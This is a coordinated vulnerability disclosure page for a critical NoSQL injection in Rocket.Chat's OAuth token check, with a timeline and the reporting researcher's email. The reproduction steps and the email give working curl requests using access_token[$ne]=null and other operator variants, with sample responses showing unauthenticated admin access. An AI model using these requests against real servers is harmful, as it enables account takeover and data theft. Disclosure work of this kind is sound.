ANT-2026-GEM3N3N3 · rocketchat/rocket.chat
sql-injection critical
Severity Claude critical · Security research firm - · Maintainer critical
Anthropic's analysis of this finding, sealed at approval.
ANT-2026-GEM3N3N3: Critical vulnerability (cvss 9.8): complete authentication bypass to admin permissions
On Rocket.Chat instances with an OAuth provider configured, the REST API authenticates requests by looking up the access_token query parameter against stored OAuth tokens. The parameter is not validated as a string before being used in the MongoDB query, so an attacker can supply an object such as access_token[$ne]=null via querystring bracket notation. This causes the token lookup to match the first stored OAuth token, which is typically the admin user's. A single unauthenticated HTTP request therefore yields full admin API access, including user enumeration, server statistics, and room administration. Variants using $exists, $gt, and $regex all succeed identically.
Target
Project: rocketchat/rocket.chat
Technical Details
The OAuth access-token lookup accepts the raw parsed querystring value, so ?access_token[$ne]=null becomes the object { $ne: null } and is passed as a MongoDB query operator instead of a literal string. The resulting query matches any document with a non-null token, and the server treats the first match (ordinarily the admin) as the authenticated caller. No type check or $-key sanitization is applied to the parameter before it reaches the database query.
Reproduction
- Identify a Rocket.Chat server with OAuth login enabled.
- Issue
curl --globoff 'https://target/api/v1/me?access_token[$ne]=null'. - Server matches the first stored OAuth token and returns the admin profile.
- Reuse the same parameter on any authenticated/admin endpoint (e.g.
/api/v1/users.list,/api/v1/rooms.adminRooms) for full admin API control. - Optionally use
access_token[$regex]=...to target specific users.
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-GEM3N3N3.
Reference: ANT-2026-GEM3N3N3
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
https://github.com/RocketChat/Rocket.Chat/pull/39492/
Dates from discovery through public reveal.
- 2026-02-19 Sent to maintainer
- 2026-02-19 Maintainer acknowledged
- 2026-04-22 Patch released
- 2026-05-14 Reported to tracker
- 2026-08-17 Publicly revealed
SHA-3-512 hash:
e03b3132ed05970e4d19e61d9e241452d55d6bd8252152321475fd68d0c2c389c71667e7b1d4cbc15dd833c7092e4d5e84556d5924b7c29560901dfe4c5bb3a6
Committed 2026-02-19 18:46 PT
Revealed 2026-08-17 17:36 PT
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-GEM3N3N3",
"bug_class": "NoSQL Injection",
"claude_severity": "critical",
"commit_sha": null,
"created_at": "2026-05-14T22:41:26+00:00",
"description": "On Rocket.Chat instances with an OAuth provider configured, the REST API authenticates requests by looking up the `access_token` query parameter against stored OAuth tokens. The parameter is not validated as a string before being used in the MongoDB query, so an attacker can supply an object such as `access_token[$ne]=null` via querystring bracket notation. This causes the token lookup to match the first stored OAuth token, which is typically the admin user's. A single unauthenticated HTTP request therefore yields full admin API access, including user enumeration, server statistics, and room administration. Variants using `$exists`, `$gt`, and `$regex` all succeed identically.",
"discovered_at": "2026-02-20T02:46:30+00:00",
"location": null,
"poc_sha256": null,
"preimage_version": 1,
"project": "RocketChat/Rocket.Chat",
"reproduction": [
"1. Identify a Rocket.Chat server with OAuth login enabled.",
"2. Issue `curl --globoff 'https://target/api/v1/me?access_token[$ne]=null'`.",
"3. Server matches the first stored OAuth token and returns the admin profile.",
"4. Reuse the same parameter on any authenticated/admin endpoint (e.g. `/api/v1/users.list`, `/api/v1/rooms.adminRooms`) for full admin API control.",
"5. Optionally use `access_token[$regex]=...` to target specific users."
],
"technical_details": "Hi --\n\nI am a security researcher at Anthropic. I've been using LLMs to find\n\nvulnerabilities in projects, and one of those has been Rocket.Chat. I\n\nbelieve I've found an extremely severe vulnerability: on any\n\nRocket.Chat instance with a linked OAuth endpoint, an adversary can\n\ncompletely bypass all authentication and become an Admin with a single\n\nrequest. While I used an LLM to find this bug I've validated it\n\npersonally and wrote this email myself.\n\nSpecifically, by passing a NoSQL operator as the `access_token` query\n\nparameter (e.g. `?access_token[$ne]=null`), an attacker can gain full\n\naccess as whichever user owns the first matched OAuth token, typically\n\nan admin. (You could also try regexes to find random user accounts if\n\nthe admin isn't the first, but it looks like it always should be the\n\nadmin by reading the code.)\n\nValidating the attack should be trivial:\n\n```\n\n# No auth — correctly rejected\n\ncurl http://localhost:3000/api/v1/me\n\n# {\"success\":false,\"error\":\"You must be logged in to do this.\"}\n\n# NoSQL injection — authentication bypassed\n\ncurl --globoff 'http://localhost:3000/api/v1/me?access_token[$ne]=null'\n\n# {\"_id\":\"...\",\"username\":\"admin\",\"roles\":[\"admin\"],...,\"success\":true}\n\n# Admin-only endpoints — all accessible\n\ncurl --globoff 'http://localhost:3000/api/v1/users.list?access_token[$ne]=null'\n\n# {\"users\":[{\"username\":\"admin\",\"roles\":[\"admin\"]},...],\"success\":true}\n\ncurl --globoff 'http://localhost:3000/api/v1/statistics?access_token[$ne]=null'\n\n# {\"version\":\"8.1.0\",\"os\":{\"platform\":\"linux\"},...}\n\ncurl --globoff 'http://localhost:3000/api/v1/rooms.adminRooms?access_token[$ne]=null'\n\n# {\"rooms\":[{\"_id\":\"GENERAL\",\"name\":\"general\",...}],...}\n\n# Variant operators — all bypass authentication\n\ncurl --globoff 'http://localhost:3000/api/v1/me?access_token[$exists]=true'\n\ncurl --globoff 'http://localhost:3000/api/v1/me?access_token[$gt]='\n\ncurl --globoff 'http://localhost:3000/api/v1/me?access_token[$regex]=.*'\n\n# All return 200 OK with admin profile\n\n```\n\nPlease let me know if you have any other questions\n\nThanks,\n\nNicholas",
"title": "Critical vulnerability (cvss 9.8): complete authentication bypass to admin permissions",
"vendor_severity": null
}